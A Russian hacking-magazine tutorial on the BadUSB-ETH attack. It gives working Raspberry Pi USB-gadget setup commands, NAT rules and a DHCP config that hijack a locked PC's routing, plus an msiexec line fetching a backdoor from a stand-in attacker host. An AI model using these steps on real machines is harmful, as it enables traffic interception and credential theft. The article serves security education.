Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH

Содержание статьи

  • Теория
  • Реализация
  • Атака на заблокированный компьютер
  • Удаленный доступ
  • Доступ к ПК
  • Доступ от ПК
  • Защита

Ес­ли у тебя есть воз­можность под­клю­чить к USB-пор­ту ата­куемо­го компь­юте­ра спе­циаль­но под­готов­ленное устрой­ство, ты можешь пол­ностью перех­ватить тра­фик, получить cookies и пароли, взло­мать кон­трол­лер домена, а кон­тро­лиро­вать ход ата­ки по Wi-Fi. Как это реали­зовать? Сей­час рас­ска­жу.

Windows, Linux и macOS по умол­чанию уме­ют авто­мати­чес­ки без учас­тия поль­зовате­ля опоз­навать опре­делен­ные USB-устрой­ства как сетевые кар­ты Ethernet. И, что важ­но, это может про­исхо­дить даже на заб­локиро­ван­ных ПК. Имен­но эта осо­бен­ность и дает воз­можность реали­зовать ата­ку, о которой я рас­ска­жу в сегод­няшней статье. Этот под­вид BadUSB-атак зак­люча­ется в том, что под­клю­чаемое к пор­ту USB устрой­ство пред­став­ляет­ся сетевой кар­той. Одна­ко сов­сем неп­ростой сетевой кар­той… Но обо всем по поряд­ку.

Что отли­чает эту ата­ку от BadUSB-HID? Глав­ное отли­чие в том, что рас­смат­рива­емую ата­ку мож­но реали­зовать на заб­локиро­ван­ном компь­юте­ре. Кро­ме того, для про­веде­ния такой ата­ки не тре­бует­ся скрыт­ное и дли­тель­ное под­клю­чение какого‑либо девай­са, она поз­воля­ет ата­ковать цель за нес­коль­ко минут. Ведь если ПК раз­бло­киро­ван, то мож­но реали­зовать более прос­тую и дей­ствен­ную ата­ку из пре­дыду­щей статьи или прос­то наб­рать на кла­виату­ре коман­ду ска­чива­ния и запус­ка бэк­дора:

msiexec /i https://attacker.tk/backdoor.msi

В ито­ге на «руч­ную» ком­про­мета­цию оставлен­ной без прис­мотра раз­бло­киро­ван­ной пер­сонал­ки пот­ребу­ется все­го три‑четыре секун­ды! Компь­юте­ры сегод­ня пов­сюду, и тор­чащие наружу USB-пор­ты мож­но уви­деть дос­таточ­но час­то.

Не­кон­тро­лиру­емый USB-порт в общес­твен­ном мес­те

Объ­ектом ата­ки может стать заб­локиро­ван­ный компь­ютер, оставлен­ный без прис­мотра на корот­кое вре­мя, либо тер­минал, либо стенд с тор­чащим наружу USB-пор­том.

info

Эта статья — часть серии пуб­ликаций о прак­тичес­ких при­емах взло­ма и атак с исполь­зовани­ем под­ручных устрой­ств, которые мож­но соб­рать дома. В этих матери­алах мы рас­кры­ваем прос­тые спо­собы получе­ния несан­кци­они­рован­ного дос­тупа к защищен­ной информа­ции и показы­ваем, как ее огра­дить от подоб­ных атак. Пре­дыду­щая статья серии: «Очень пло­хая флеш­ка. Раз­бира­ем ата­ку BadUSB в деталях».

 

Теория

Под­клю­чаемое устрой­ство BadUSB-ETH опре­деля­ется как сетевая кар­та Еthernet. На самом деле это не прос­то сетевая кар­та, а устрой­ство, внут­ри которо­го пол­ноцен­ный компь­ютер со сво­ей ОС. И мы реали­зуем дос­таточ­но хит­рую цепоч­ку из мно­жес­тва атак. По сути, это собс­твен­ная, более узко заточен­ная реали­зация Bash Bunny от Hak5. А за осно­ву мы возь­мем откры­тый про­ект PoisonTap.

Пер­вое и самое глав­ное — это то, как мы нас­тра­иваем сеть на ата­куемой машине. В момент под­клю­чения интерфейс имен­но соз­дает­ся, а не под­нима­ется. Это зна­чит, что сра­зу пос­ле под­клю­чения ПК зап­росит нас­трой­ки по DHCP (дефол­тное поведе­ние). В ответ на такой зап­рос наше устрой­ство выда­ет не сов­сем обыч­ную кон­фигура­цию сети, при которой она ста­нет при­ори­тет­ной и перек­роет все активные сетевые под­клю­чения на ата­куемом компь­юте­ре. Дос­тига­ется это через более корот­кие мас­ки мар­шру­тов:

0.0.0.0/0 via 10.10.0.1 <- исходный дефолтный маршрут, все пакеты изначально идут по нему
0.0.0.0/1 via 1.0.0.1 <- наш маршрут, перекрывающий первые 50% IPv4-сетей
128.0.0.0/1 via 1.0.0.1 <- второй маршрут, перекрывающий вторые 50% IPv4-сетей (маска короче, поэтому маршрут приоритетнее)

Во всех сов­ремен­ных ОС мар­шру­тиза­ция в IP-сетях стро­ится по еди­ному прин­ципу: чем короче мас­ка сети у мар­шру­та, тем при­ори­тет­нее мар­шрут. Это глав­ное пра­вило мар­шру­тиза­ции. И в нашем слу­чае мас­ка /1 чуть короче мас­ки /0 дефол­тно­го мар­шру­та.

Пос­ле при­мене­ния таких нас­тро­ек нового сетево­го под­клю­чения все пакеты от дру­гих сетевых интерфей­сов пой­дут по новому мар­шру­ту — уже в наше хакер­ское устрой­ство, и мы как бы «вытянем» весь тра­фик. Таким обра­зом, мы смо­жем реаль­но перех­ватывать весь сетевой тра­фик заб­локиро­ван­ного устрой­ства пос­редс­твом обыч­ного USB. Схе­матич­но ата­ка пред­став­лена на рисун­ке ниже.

Схе­ма ата­ки BadUSB-ETH

Не сто­ит забывать, что мы уста­нови­ли и обыч­ный сетевой канал вза­имо­дей­ствия с заб­локиро­ван­ным ПК. Учи­тывая это, на целевой машине может быть запущен целый спектр сетевых атак, который зависит лишь от тво­ей фан­тазии:

  • NetBIOS Poisoning (Hash leak);
  • MS17-010, BlueKeep, PrintNightmare;
  • Bruteforce;
  • ска­ниро­вание пор­тов, скрин­шоты RDP/WWW и сбор про­чих све­дений.

На­конец, наше устрой­ство явля­ется еще и «супер­шлю­зом», пос­коль­ку сетевой тра­фик, вклю­чая и смеж­ные сетевые интерфей­сы, идет теперь через него. Находясь в позиции «легаль­ного MITM», мы можем запус­тить еще ряд атак, пред­назна­чен­ных для перех­вата тра­фика:

  • Cookie Siphoning (выкачи­вание cookie в redirect-цик­ле перебо­ра сай­тов по сло­варю);
  • WebCache Poisoning (внед­рение js-backdoor в ска­чива­емые JavaScript);
  • Insecure Updates (сиг­нал популяр­ному ПО обно­вить­ся и отправ­ка backdoor);
  • Passive Sniffing (FTP, SMTP, SMB, HTTP, etc).

 

Реализация

Ус­трой­ство может быть реали­зова­но на базе мно­жес­тва одноплат­ных решений. Наибо­лее лег­ковес­ное и извес­тное сре­ди них — Raspberry Pi Zero (W). Эта пла­та не пот­ребу­ет допол­нитель­ного питания, необ­ходимое нап­ряжение берет­ся от USB-пор­та компь­юте­ра. С целью инди­кации хода атак для прос­тоты исполь­зуем три све­тоди­ода со сле­дующи­ми ролями:

  • зе­леный (INFO) — ПК опре­делил наш девайс как сетевую кар­ту Ethernet, и под­нялась сеть;
  • жел­тый (WARNING) — утеч­ка NetNTLM-хеша или иной чувс­тви­тель­ной информа­ции;
  • крас­ный (CRITICAL) — обна­руже­на RCE, подоб­ран пароль и тому подоб­ное.

Боль­шинс­тво одноплат­ных ПК снаб­жены GPIO-пинами, с помощью которых мож­но подавать неболь­шое нап­ряжение, необ­ходимое для работы све­тоди­одов.

Схе­ма под­клю­чения све­тоди­одов

Со­ответс­твен­но, что­бы зажечь, а потом погасить све­тоди­од, под­клю­чен­ный, нап­ример, к 26-му пину, пот­ребу­ется выпол­нить сле­дующие коман­ды ОС внут­ри пла­ты:

raspi-gpio set 26 op dh
sleep 1
raspi-gpio set 26 op dl

Эму­ляция Ethernet-устрой­ства, как и эму­ляция дру­гих видов USB-девай­сов, под­держи­вает­ся непос­редс­твен­но ядром Linux через так называ­емые USB-гад­жеты. Очень кра­сиво такую ата­ку про­демонс­три­ровал Сами Кам­кар (Sami Kamkar) в про­екте под наз­вани­ем PoisonTap:

git clone https://github.com/samyk/poisontap
ln -s ~/poisontap /opt/poisontap

Имен­но этот инс­тру­мент взят за осно­ву, осо­бен­но в эму­ляции сетевой кар­ты, но с некото­рыми улуч­шени­ями:

/home/pi/poisontap/pi_startup.sh
rmmod g_ether
cd /sys/kernel/config/usb_gadget/
mkdir -p poisontap
cd poisontap
echo 0x0694 > idVendor
echo 0x0005 > idProduct
mkdir -p strings/0x409
echo "Samy Kamkar" > strings/0x409/manufacturer
echo "PoisonTap" > strings/0x409/product
# RNDISmkdir configs/c.2
echo "0xC0" > configs/c.2/bmAttributes
echo "1" > configs/c.2/MaxPower
mkdir configs/c.2/strings/0x409
echo "RNDIS" > configs/c.2/strings/0x409/configuration
echo "1" > os_desc/use
echo "0xcd" > os_desc/b_vendor_code
echo "MSFT100" > os_desc/qw_sign
mkdir functions/rndis.usb0
echo "42:61:64:55:53:45" > functions/rndis.usb0/dev_addr
echo "48:6f:73:74:50:44" > functions/rndis.usb0/host_addr
echo "RNDIS" > functions/rndis.usb0/os_desc/interface.rndis/compatible_id
echo "5162001" > functions/rndis.usb0/os_desc/interface.rndis/sub_compatible_id
ln -s functions/rndis.usb0 configs/c.2
ln -s configs/c.2 os_desc
ls /sys/class/udc > UDC
modprobe g_ether
sleep 10
ifup usb0
ifconfig usb0 up
/sbin/route add -net 0.0.0.0/0 usb0
/etc/init.d/isc-dhcp-server restart
/sbin/sysctl -w net.ipv4.ip_forward=1
#/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT --to-port 1337#/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53#/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/pi_poisontap.jsiptables -t nat -A POSTROUTING -o usb0 -j MASQUERADE

Пос­коль­ку ата­ка кросс‑плат­формен­ная, тре­бует­ся нас­трой­ка эму­ляции сра­зу двух сос­тавных USB-устрой­ств: для сетевых карт RNDIS (Windows) и CDC (Unix). Перек­рытие сетевых интерфей­сов зада­ется в фай­ле dhcpd.conf:

/etc/dhcp/dhcpd.conf
subnet 0.0.0.0 netmask 128.0.0.0 { range 1.0.0.10 1.0.0.50; option broadcast-address 255.255.255.255; option routers 1.0.0.1; default-lease-time 600; max-lease-time 7200; option domain-name "local"; option domain-name-servers 1.0.0.1;# send the routes for both the top and bottom of the IPv4 address space option classless-routes 1,0, 1,0,0,1, 1,128, 1,0,0,1; option classless-routes-win 1,0, 1,0,0,1, 1,128, 1,0,0,1;}

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *